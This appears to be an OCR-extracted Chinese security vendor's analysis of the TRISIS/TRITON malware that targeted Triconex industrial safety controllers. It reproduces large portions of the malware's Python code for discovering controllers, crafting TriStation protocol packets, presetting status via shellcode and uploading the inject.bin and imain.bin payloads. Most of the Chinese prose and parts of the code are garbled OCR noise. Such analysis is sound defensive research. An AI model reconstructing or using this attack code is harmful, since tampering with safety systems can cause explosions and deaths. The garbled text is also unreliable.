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“g9X TIERGEEERE TRISIS ARSI

2017 4F 8 H, #REEMASMALIE L (2R CERT) FETLEAHRUIA, Kehn Tk R4
{8 B A TRISIS (34 TRITON. HATMAN) 1045 B8 G M ik Iy, I Har 408 “I 7.
OB AR LE R B i R AR I ol bl R G b b 22 W TN SUREL, ARIE &7 (5 B HI, T
Wt BTy, AN N A K P71 B R % “UEM” (TRISIS) (¥ H AR Ay i £ B < 2 =] 1) 22 4
WRARG, W 5 SR 2 P T A2 DUE B2t H . Holid Tricon % &0CR ARG )
TriStation JE{E PPUCHEAT B, KRS AT U B BT 22 A P 25 4 mT e 2 2520 .

“UFI” (TRISIS) Frieati iy B As 2 Tk #EH R4 (ICS) LR RS (SIS) Fiild, 3 Zhl
HE TN 78 FL S0 Tricon 2R R 40, ATk BIFE S &bl ot h B HuZ M H . 28R RS (Safety
Instrumented System), fii#x SIS, XA NL AR RS (Safety Interlocking System), FE N 5l R4:
AR B AR B AR 73, 42 1) 28 G R I 4 45 SR S 1 s A R T s AL R, R D) ik A shE s
BB . ARG BRI ES M EAPT oM, AR T, #H T RsIT RIC. SIS RS
AT DA A P IR R B R TR S, et B BB AT BUE R Y, SLRIENERAE, DABG IR
FRAI R, TR AR s R (1 S T SR

%R CERT A48 AU A My JR B AR AR T T AR o RILZE AU B ke 9 A A
TH IR AR RGN A E AN HirM s, 2 5l Rk ping BRI Z 2GR RS, 1E#fiE %
ERRGIWNR G, 2 EAEAG RN AN, DSR2 URRGHIHEE (222G R5E
), —BHIGERY), FAFRN DA RS, L ASZaEmEREEH, s B2 4.
RS S IEPN TR

2 “¥EH” (TRISIS) KHEME

21 BhRREFER

“HEIH” (TRISIS) 1 “ZEM” (Stuxnet). “Industroyer/CrashOverride” %5% & A AY—FE B £ M Tl
RGP E B ErIRe . (AFER, HEH#E—PHAEELE., SEEHEEZ 2 RERET] .

“UFM” (TRISIS) KH Python JIA TS, I Py2EXE thémi¥ A PE AT HUTRET, DMETIER
%% Python HI RGEAEE FHAT. BliE TR TR 2R R G FE LR BRGNS, A Refitfa &k

ORX hRINFRE , WiBTTHREeH g1l
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HAAM W7 (TRISIS) #EATHdy, H3: 2Ll B AN Z 5 PLC (RIgmEiZizmlas) sEE, L
Xt H bR AL U S o

“CHEIH” (TRISIS) AT LA H bn % AR IV EEAIZ AR, B AT SO L AR ESAT I ALid 45
BN SH, HA O TR DR YA — R SR 2 H bs_EBEAT TAE, AR Python JAIAS H )
P Rk, E R TR AN S BB R A SN (S 2-1. & 2-2); IR MR
RIS, AT R A FR T T 51 AR T R SO, Her imain.bin O 3 B RERAT (S MK 2-3).

script code = ] 0<@

Ax03 [ Ax1cAx00MN

ARO3 [ \x0cAx00N x00\x80<\x00\z81\ x84 @

A02 | \x18\x00\ F ralus[2:4] + ',1~N.7¢:§<*+ value[0:2] +

x84 \x00\x00
2-1 N\ B o i) — BERI SR T

def UploadDunmyForce (TsApi) :
empty code = "\xffA\xfL"8\x02\x00\x00D \x00'\x80N'

2-2 A RATESRLHAHNREER

data = open('inject.bin', 'rb').read()
data = sh.chend(data)

payload open{'imain.bin', 'rb').read()
payload sh.chend(payload)

2.3 SRERSMBHLST = ISR 2 O
22 HhHRES

trilog.exe /& “HEIH” (TRISIS) MIEFER, HIEASE Tricon %R RS — ML, KdsFl
FH AT S oo 1 32 B AR S WL 2-4:

o inject.bin 7. ST
(Eirs Rt imain.bin
( / / TriconB 2 ERG:
A
& MBI LT 4, L#PresetStatus#HihiT

8, HIEREEE 5. PresetStatusifiiTnklh

PresetStatus

FiER

1
1
]
]
1
1
1
'
1
1
1
H
i

3. EERNEESR auy E *

&
*-__—-____-—_—_ 2.3 Gl
| HEEAET my TCM (TriconiB{StEiR)
—

1. BT TSAARRYAERETCM

trilog.exe

ORX hRINFRE , WiBTTHREeH $2m
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B 2-4 TRISIS Bk
B AR i A«

1. trilog.exe @it TSAA HriltsER: TCM (Tricon JEERIHY, RAIFEIRE AR 5L &R R G0H

BIARSG, FFHIBRE SRR NIRRT

2. WA ARIE, AR e ER ARG, I SIS R M7 (TRISIS) TIfg

ARG, HEJRIEF T PresentStatus.

3. _L#} PresentStatus %I Tricon ZZ XK ARG+, FHHATHLE “HIH” (TRISIS) TEFUIHMAEE T T4E;

4,  FEINFESFZ O inject.bin. imain.bin, $ “WEIH” (TRISIS) f&fi 3L & B3R 28 H H bR

L

5. RN (TRISIS) WTHRATSCAHEITIN, Oh% e T40HT HL BB, RPN I HE RSO PR

TR I A i o 0 2 6 B AT IR B e, R AR “HIIR AR (4 D,

print 'setting arguments...'
Iesult = PresetStatusField(test, \xUl\xBU\xUU\xDU'h
if result >= 0:
do restore = True
if result !'= 1:
print 'Preset failure®

print 'uploading module'

IppendResult? = test.SafelppendPrograiiaed (&Hata)
if not AppendResult?:
p:irt 'main code write FAILED!

B 2-5 LEEaAE
6. WAERT AR, A5 EAHIN PLC B K2 2 2R RS
7. FARRARAR T S AL O A .
if do restore:
print 'force removing the code, no checks'

print UploadDummyForce (Cest)

2-6 EEMR@IERF

3 "B (TRISIS) BEBh

3.1 “¥WPH” (TRISIS) 5 Triconex HIBEIES#r

“HEPH” (TRISIS) 5 Triconex B {5 3 B4 H T TsHi. TsBase. TsLow. TS_cnames ZFfbibh, ixuufs

B it 1 AR 5 K A A% ] Triconex AIAUAS

ORX hRINFRE , WiBTTHREeH
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311  iEKiEE

“HEIH” (TRISIS) @it 7E Script_test.py F1iff ] TsLow 1) connect bk %k ATi%E 4%,
R REEHMSGHEAT T HR 4 BT

def connect(self, address=None) :
self. uerror = -1
] if address == None

print 'using IP a detec
- address = self.detect_ip()
=] if address == None:

self. uerror =1
r return False
self.close()
self. sock = socket.socket(socket.AF INET, socket.SOCK_DGRAM)

= try:
E self. sock.connect ((address, 1502))
= except socket.error:
= self. uerror =1

connect result = self.tcm connect/{)
=] if not connect result:

self.udp close()

- return False

- return True

B 3-1 connect R ¥

£ connect B % detect_ip A1 tem_connect Sk <4 R 44

def detect_ip(self):
ip list = st ()
be_sock = None
try:
bc_sock = socket.socket (socket.AF INET, socket.SOCE DGRAM)
bc_ sock.setsockopt (socket.SOL SOCKET, sockst.SC BROADCAST, 1)
be_sock.settimesout (0.25)
TS_PORT = 1502
ping message =
close message =

"hx04

bc_sock.sendto [ping_message B '255.255.255.255", TS_PORT))
while True:
try:
data, addr = bc_sock.recvfrom(1024)
except:
break
if data != ping_message:
continue
try:
if addr[l] == TS_PORT:
ip_list.add(addz[0])
be_sock.sendto(close message, (addr[C], TS_PCRT))
except:
continue
except:
print 'exception whi
if bec sock != None:

bc_sock.close()
if len{ip_list) ==

print 'no TCM
return
if len(ip list) > 1:
print 'more than one TCM found:'

for ip in ip list:
print ip

for ip in ip_list:
return ip

return

ORX hRINFRE , WiBTTHREeH
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Bl 3-2 detect_ip eR ¥

def tcom connect (self):
connect_result = self.tcm exec
if connect_result I= 2:

if connect_result == 7:

print "tcm connect err: connect limit reached’
else:
if connect_result — 9:
print "tcm connect err: no MP active'
else:
if connect_result == 10:
print "tcm connect err: access denied’

return False

self. gcnt = 0
return True

3-3 tcm_connect ER#

7£ detect_ip R %P3 A 1502 3 1, FAS & TS_PORT & X; H4h, Xt ping $E A0 close R 5E X,
53K 0x06 Fl 0x04 & bRilAD, an kKl 3-4.

TS cst = {1:

S T, T

- LD
= 0 es ms

3-4 BRAABIFFALE X

£ tem_connect R ZLH connect_result [FIFE AR (AR IR, B I FE 3-4, HA o RN
tcm_exec (type ZEHIMEN 1.

def tcm exec(self, type, data='", timeout=-1):
self. tom result = None
packet = struct.pack("<HH', type, len(data)) + data
packet = crclé append(packet)
self.udp exec(packet, timsout)

return self.tcm result()

B 3-5tcm_exec E{E

ORX hRINFRE , WiBTTHREeH E5:
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Struct.pack bR E1E H A da B8 45 e A% A (Fmt),  FEEIR FE e e A7 B (F IR, Bz E /AR aR |, B
packet /&3t type Fl data % [ 16 dEHIf#RE, F 0L data Fl crel6 B4 £ . Struct.pack FdE 45+
[

R1

KE

(ISP Type len ( data ) data crcl6

3.1.2 _Ef& PresetStatus

“HEIH” (TRISIS) jEid/f#i ] SafeAppendProgramMod Bk %1 _E 4% PresetStatus.

def PresetStatusField(TsApi, value):
if len({valu=s) = 4:
return -1

script_code = "\xH0% Ax1oh\x00\x82@\x04\x00b\x80 " \x00\x80<@
"x03 | \x0c\x00\xB2R\x x00Nx01\xB4" @
x02 | \x18\3 ! B 2 B4+ "WxB0<" + valus[0:2] +

"\x84 \x00\x00\xB82\x

appendResult = Tsipi.SafeippendProgramMod (script_codes) // EfEpresetatatus

if not ZAppendResult:
return -1

cp_info = TsApi.GetCpStatus()

status = cp_info[40:44]

if status != wvalue: [T ERIR, FIEST RIS
return 0

return 1

3-6 PresetStatusField E&#{

script_code N B FAEMIPATARED . ZRECHXT AppendProgramMin %1334, AppendProgramMin

PR ECR B WrriteProgram pREL (5 WriteFunctionOrProgram (13 38)

def AppendProg amnll(self code, funcent, progent):
print ppending p
if funccnt <=

print 'wrong input params’
max_prog_code = self.ReadProgram(progcnt - 1)
max_prog header = self.UploadProgram(progent — 1)
if max prog code == None or max prog header == None:
print 'cannot dump LAST PROG"
return 0

max_prog_next = struct.unpack('<H', max_prog_ header )
if self.ReadProgram(progcnt) != Neone:

print 'wrong prog count’

return 0O

if self.ReadFunction(funcent - 1) = None or sclf.Readfdnemice®fsuficent) !'= None:
print 'wrong func count’
return 0O
is_overwrite = False
if MyCodeCheck (max_prog_ cods) :
print 'sign detected, using overwrite'
is_overwrite = True

else:

print 'using append’

progent += 1
cur_state = self. GetProjectInfol()
|cude = MYCC’dESlgI‘L(CGdE”
mod_attempts = 0
is success = False
ia_dl_allowed = False

ORX hRINFRE , WiBTTHREeH $E6m
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3-7AppendProgramMin & (&4

def WriteFunctionCrProgram(self, id, next, is_ func, data=""):
if len(data) % 4 != 0O:
) = . p " TRV
full size = len(data)
write_ func = self.ZllocateProgram

if is_func:
write_func = self.AllocateFunction
if full size == 0:
return write_func(id, next, full_size, 0, ')
sign = TScksum(data)
data = data + struct.pack('<I', sign)
full size = len(data)
total_chunks = full_size / 2

sent_chunks = 0

while sent chunks < total chunks:
cur_send = min(total_chunks - sent_chunks, 256)
data_to_send = datalmisll Sieis. | " el w =

»
==
result = write_func {id, next, total chunks, sent_ch.unks/\,mwdaﬂtﬁend]
if not result:
return False
sent_chunks += cur_send

B 3-8 WriteFunctionOrProgram e&#{

AppendProgramMin R £ ZEACHS &S N | CRC 25

]def MyCodsSign(code) :
- return code + struct.pack('<I', crc.crc32(code) * append_sig’n]

3-9 MyCodeSign H% SBEX

7£ WriteFunctionOrProgram &% -1 F§ AllocateProgram B8 % [f) 1% 3 5 N2 7

] def AllocateProgran“self, id, next, full chunks=0, offset=0, data=""):
request = struct.pack('<HHHHEE', id, next, full chunks, offset, len(data) [ 4) +-dats e
result = self.ts_exec((55, 153), request) *
return result[0] == 0

ANTIY

3-10 AllocateProgram g&#
BER X B PR B AT — kB 2, IR EEE O
x2

Id Next Full_chunks Offset

ORX hRINFRE , WiBTTHREeH ETR
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def ts_esxec(self, (cmd, reply), data='', timeout=-1):
self. exreply = reply
ts_len = len(data) + 10

unchecked = struct.pack(’ ', U, cmd, self. gcnt, 0, ts_len) + data
sum val = cksum(unchecked, ts_len)
packet = unchecked i) + struct.pack(’ ', sum val) + unchecked| 1

attempts = 0

while attempts < 2:
self. ts result = None
attempts += 1
self. lcnt = self. gcnt

exec_result = self.tem exec (5, packet, timsout) [0]
self.ts_update_cnt ()
if exec result == O:

reconnect_result = self.tcm reconnect ()

return reconnect_result or Fdlse *

continue n
ANTIY

break

return self.ts_result ()
3-11 Ts_exec B/

Ts_exec M7 — EHUR I LE, A EdE -

*3

AE K 37h HIEEFES 0Oh Checksum Len ( data ) +10 Data

7t Ts_exec i tom_exec % (W& 3-5), it E¥E 4.

R4

KE

b= 5 Len ( data ) Data Crcl6

Tem_exec 1A udp_exec sRi%k, 2 sock.send B EESE
313 _HEBHER

AR AT 5 A% PresetStatus JAEAF, FEMAEBER, AR s LA Y-

&5

Inject module Payload length Payload

s e e e

Inject.bin 4660 Len ( payload ) Imain.bin len (imain.bin ) +8 5666970

ORX hRINFRE , WiBTTHREeH E8:m



R = TIERGEEERE TRISIS ARSI

32 MRS

“UFIH” (TRISIS) HEE T RE WM TriStation BAEHESE, HEZLEL A HIHL TsHipy. TsBase.py. TsLow.py.
TS_cnames.py. BRHEZESL, “Ug” (TRISIS) &AL — Script_test.py JIAS, WAL TriStation 3@ {5 4E
BRERER Tricon, FEVFEANETT .

3.2.1  Script_test.py 93

Script_test.py /& ff “¥FM” (TRISIS) HIESLILIIREMIBIEL, Script_testpy /NG, HiBE(EDIRER L
I L B TriStation MY SCHFAE . HiT TriStation i H 57 1EAT 2 PRI, IXEESREPERA AT REN “ I
W7 (TRISIS) W I B AL TR /il miAaok, W RExt TriStation VMSCGEEATIRAN T8, X K i) e SO A ik
T RARGF ik

W

Script_test.py 58 E A FANY F E LI TS _LAE . F-HRAGR RGNFF E s BU T B E IR (
K 3-12. 3-13. 3-14).

payload = sh.chend(payload)

payload = payload + struct.pack(’ 'y len(paylcoad) + &, )
data = data + struct.pack(’ . , len({payload)) + payload
except:
print "'module £ile read FAILURE'
break
print '=setting arguments...'°
result = PresetStatusFleld{test ' ")
if result >= 0:
do restore = True
if result = 1:
print 'Preset failure'
break
print 'uploading module'’
AppendResult? = test.SafelhppendProgramMod (data) /i EEEE
if not hppendResultE:
print 'main code write FAILED!'
break

B 3-12 R EtE

test = TsHi.TsHi()

connect_result = test.connect (sys.argv[l]) f/ﬂ%¢?ﬁ?§ﬁ%f—f%ﬁht- ﬁl:(f_'l'slow‘:f:'@ﬁconnect
Tif not connect_result: f/%ﬂﬁﬁﬁﬁﬁlﬁgﬂﬂhﬂ
print 'unable to connect!'

exit(0)
script_result = False
do_restore = False

B 3-13 FRINKRERS

ORX hRINFRE , WiBTTHREeH $I9m
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try:
limit = 0O
prevde = 0
prevstatus = 0

while limit < 4056:
parsed_info = test.GetProjectInfo()
if parsed info = None:

parsed_info = test.GetProjectInfo() /R

if parsed info = None or parsed info[’ "] '= 1 or parsed infol[’ '] 1= 0: [FI TR
print 'MFP Bad Stats!
break

status = parsed_info[’ -]

sh.dump (status)

istatus = struct.unpack('<I', status)
istep = istatus & 15

ival = istatus >> 4

3-14 FIRAERBHITER
WP BULEA -

Ti=RRESIRMY TRISIS HAR SR

Script_test.py A B e SRIE R Tricon AR RS, UAWSEUS S, B EEF R AT TriStation

P12 ——Tricon {3 & 4 :

def connect(self, address=None):
self. uerror = -1

if address == None:
print "using IP auto-detection'
address = self.detect_ip()

if address = None:

self. uerror = 1
return False

def detsct_ip(self):

ip list = set ()

be sock = None

try:
be_sock = sockset.socket (socket.AF INET, sockst.SOCK_DGRAM)
be_sock.setsockopt (socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
be_sock. settimeout (0.25)
TS_PORT = 1502

ping_message = '\x0E
close_msssage = '\x=04
be_sock.sendto (ping_message, ('255.255.255.255", TS_PORT))
while True:
try:
data, addr = bc_sock.recvirom(1024)
except:
break
if data != ping_messags:
continue
try:
if addr[l] == TS_PORT:

ip list.add(addr[0]
be_sock.sendto(close_message, Aaddrft] T3 S0ET))

except:
continue
except:
print 'exception while detect ip'

if bc_sock != Nene:
be_sock.close ()

if len(ip_list) == O:
print 'no TCM found’
return
if len(ip list) > 1:
print 'more than one TCM found:'
for ip in ip_list:
print ip

for ip in ip_list:
return ip

return

B 3-15 B E Tricon LRARS

—HFHREIH R, K A% PresetStatus F2 /7€ It H AR & 5l BRI AT e v R S

4% inject.bin

A imain.bin AN 32 E A, SRR, DUABIBOREME S H A fn, AR AR A o 3amr Vi BRI

ORX hRINFRE , WiBTTHREeH
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3.22 TsHi.py 9t

TsHi.py RAEZE SR, VS REBNFEF, U ZRIEEEMSENG SR (nF
Frid ), HALFE SafeAppendProgramMod B& %k, %R SRR T3, SR R4, H$2 L shellcode
BN B SRR, C IR LB AL BE CRC32 KA.

K6

MERR G FEAE Ak RS
HEREFRREBENCGRR S
3 ReadFunctionOrProgram FE12E

% ReadFunctionOrProgram FiET2E

X WriteFunctionOrProgram FEg2E

3 WriteFunctionOrProgram H9E12E

X Projectinfo H{THEHT

¥KEX Projectinfo

KEX PragramTable

SREMYUERER S function £18

B RAEFENRER

SRAEFBE

B RAEFENRER

IHEEE RAM 7 | AT

%9 ExplReadRam fZgE

ML ETHUT

WA S

X3 ExplWriteRam f9ZgE

MR E 4 BATTAT LR 5 0 RN BRI VR, “ U (TRISIS) RS T H 911y SafeAppendProgramMod

BRIHOR A% HL T .

ORX hRINFRE , WiBTTHREeH BT
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def SafehppendProgramMod(self, code, force=False):
print 'checking projesct state’

cur state = self.GetProjectInfo()

if cur state == None:
print "FAILED to get state’
return Fals=se

if cur state[’ "] = 1 and not force:
print 'key NOT in PROGRLRM'
return Fals=se

if cur state[’ "] '= 1 and not force:
print 'program WOT VALID'
return False

if cur state[’ "] '= 0 and not force:
print "program NOT in RUNNING'
return Fals=se

if cur state[’ '] = Z:

print 'program in EXCEPTION, halting'
self.HaltProgram/()

if cur state['. ] = 5=
if not force:

print "wrong program STATE'
return Fal=e

print 'cancelling previcus download'
self.CancelDownload()

print 'dumping program table’

def GetProjectInfo(=elf):

—
info = self.GetCpStatus () o~
retnrn self.ParseProjectInfo(info)

3-16 SafeAppendProgramMod R E B FRRES

ZJa, R BRI H As R G+ O _EAERE 7 513 N R & . 55 F AppendProgramMin e85 _E AL 24T,
HHAT

3.2.3 TsBase.py &t

TsBase.py % 78 4 i 4 H AR, TriStation T ReACAS Z [A] (4% 46 )2, DAKFH T B3O 200y Bl X
3 AR RS ISR AR AR 25 T e P 54 A =X

R7
FEEN CP RS
SREVHEBRARAS

ORX hRINFRE , WiBTTHREeH B12E]
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SRENEREZ A M

AllocateProgram(self, id, next, full_chunks=0, offset=0,
data="")

ENYRR G EREREL

HiSEr

StartDownloadChange(self, (old_name, old_maj_ver,
old_min_ver, old_ts), (new_name, new_maj_ver,
new_min_ver, new_ts), func_cnt, prog_cnt)

RAERRGEMEFEE T

ERICH

AT RAM RS

CancelDownload(self)

3.24  TsLow.py 9tk

TsLow.py A] SZHUK 2 HI4E /Y TriStation 4 GLiE UDP &% 2 Tricon J@{EHEEL (TCM) I IhRE K
2, dAFEE A 1502 5 &2 UDP “ping” | 4% Bk H 30 & B Tricon #2425 .

EX]
e

%A socket

MatizEtbiE

35 sock.send BREFHIESSE

X sock.recv ERZNAIETEE

OFX HRINFFE , IIDTIREEH B13E]



k=% THERGESHE TRISIS BARSH
s
SREN udp BUEKE

X4 udp_exec EREETSE

X tem_exec EREATETSE

5t

X ts_exec LEEHATRENT

REGEIRER

3.25 TS_cnames.py &3

TS_cnames.py 1 TriStation #ri DyReFIma SARRS DL R GBS AE filFE RS 1 i 4 B H = .

OFX HRINFFE , IIDTIREEH B14E]
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[ZITS_keystacte = (0: '

TS _progstate = (0:

EITS names = (~1:

3-17 R&BEH B
4 NG

U (TRISIS) SBEAUS EIH T —SESRIERIRF =, HITF AR URN T A R A2 i R 28] B
W Br T _E#E] PLC iy b fI AL, HABHESAN D) REACHD e MR AT i S, AR H A 5 B So&E AN I
T HAT o U EAE Ny Db RS A 77 22 4 I M B 7T i) SIS B

VRN Tolk R G B 1% = ARRS, “HgIH” (TRISIS) IR AR &S “fRM” (Stuxnet) Fl “5 5=
e v A5 s S Bt b Y (R A AR P

5 CFEM” KRS RS TARAHEL, UM (TRISIS) B RARG A H1 o 72 W9 Bradi o T 20 HLAE A4
PRI A NIRRT, XA B 5 Bl B0 L2 B E A, BT M & T2l i 8 44 1 2
dr H ) Gkl Bl OBk . KEMEGEOLD . Bl BB 2 el MG 7 Ek B B 24 . 7=
W A SR e RO AR B R RS . MR, R W (TRISIS) /NS4 AR, HEER—
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